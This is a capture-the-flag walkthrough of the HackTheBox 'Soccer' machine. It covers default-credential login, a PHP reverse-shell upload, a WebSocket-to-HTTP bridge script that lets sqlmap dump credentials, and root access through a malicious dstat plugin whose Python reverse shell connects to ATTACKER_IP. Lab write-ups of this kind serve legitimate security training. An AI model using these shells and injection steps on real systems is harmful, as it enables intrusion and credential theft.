Starting with an Nmap scan against soccer.htb.
Four ports are open: SSH on 22, HTTP on 80, and two unusual services on 1234 and 9091.
$ nmap -sCV -T4 soccer.htb -oN soccer.nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Soccer - Index
1234/tcp open hotline?
9091/tcp open xmltec-xmlmail?
→ HTTP on 80, SSH on 22. Ports 9091 and 1234 interesting — revisit later.
The IP redirects to soccer.htb — added it to
/etc/hosts. Running directory brute-force reveals
a /tiny path hosting Tiny File Manager 2.4.3.
Tiny File Manager 2.4.3 ships with well-known default credentials. A quick search confirms both accounts are still active on this box:
admin : admin@123
user : 12345
Logged in as admin. The file manager has a known LFI vulnerability, but
more importantly it allows file uploads. The only writable directory is
/var/www/html/tiny/uploads.
Uploaded a PHP reverse shell to the writable uploads directory and triggered it via the browser:
# trigger the uploaded shell
$ curl http://soccer.htb/tiny/uploads/shell.php
# on our listener:
$ nc -lvnp 4444
connect to [ATTACKER] from (UNKNOWN) [10.10.11.194]
www-data@soccer:/$ whoami
www-data
www-data@soccer:/$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
player:x:1001:1001::/home/player:/bin/bash
→ Shell as www-data. Target user is "player".
Inspecting /etc/hosts on the box reveals a hidden subdomain:
$ cat /etc/hosts
127.0.0.1 localhost soccer soccer.htb soc-player.soccer.htb
Browsing soc-player.soccer.htb presents a login/signup form and a ticket
checking feature. Intercepting the ticket check in Burp reveals it communicates over a
WebSocket on port 9091 — the mystery port from our Nmap scan.
The WebSocket endpoint accepts a JSON payload with an id field and
returns whether a ticket exists. This is a classic blind SQL injection surface, but
sqlmap does not natively support WebSockets. The solution is a
Python middleware that bridges HTTP to WebSocket, allowing sqlmap to work normally.
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection
ws_server = "ws://soc-player.soccer.htb:9091/"
def send_ws(payload):
ws = create_connection(ws_server)
message = unquote(payload).replace('"', "'")
data = '{"id":"%s"}' % message
ws.send(data)
resp = ws.recv()
ws.close()
return resp if resp else ''
def middleware_server(host_port, content_type="text/plain"):
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
try:
payload = urlparse(self.path).query.split('=', 1)[1]
except IndexError:
payload = False
content = send_ws(payload) if payload else 'No parameters specified!'
self.send_header("Content-type", content_type)
self.end_headers()
self.wfile.write(content.encode())
class _TCPServer(TCPServer):
allow_reuse_address = True
httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()
print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")
try:
middleware_server(('0.0.0.0', 8081))
except KeyboardInterrupt:
pass Credit: technique adapted from rayhan0x01's blind SQLi over WebSocket writeup .
With the middleware running on port 8081, sqlmap can enumerate the database through standard HTTP:
$ sqlmap -u "http://localhost:8081/?id=*" -D soccer_db --tables accounts --dump
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id | email | password | username |
+------+-------------------+----------------------+----------+
| 1324 | player@player.htb | PlayerOftheMatch2022 | player |
+------+-------------------+----------------------+----------+
The dumped credentials work for the player system user via
su:
$ su player
Password: PlayerOftheMatch2022
bash-5.0$ id
uid=1001(player) gid=1001(player) groups=1001(player)
→ user.txt captured.
Running linpeas as player reveals
doas is installed with an interesting configuration:
permit nopass player as root cmd /usr/bin/dstat doas is an OpenBSD alternative to sudo.
This config allows player to run
/usr/bin/dstat as root without a password.
dstat loads Python plugins from several directories, including
/usr/local/share/dstat/ which is writable.
# find writable plugin directories
bash-5.0$ find / -name dstat -type d 2>/dev/null
/usr/share/doc/dstat
/usr/share/dstat
/usr/local/share/dstat
# create a malicious dstat plugin (reverse shell)
bash-5.0$ cat > /usr/local/share/dstat/dstat_reverse.py << 'PLUGIN'
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("ATTACKER_IP",9093))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty; pty.spawn("/bin/bash")
PLUGIN
# trigger the plugin as root via doas
bash-5.0$ doas -u root /usr/bin/dstat --reverse $ nc -lvnp 9093
listening on [any] 9093 ...
connect to [ATTACKER_IP] from (UNKNOWN) [10.10.11.194] 36968
root@soccer:/home/player# id
uid=0(root) gid=0(root) groups=0(root)
root@soccer:/home/player# whoami
root
→ root.txt captured.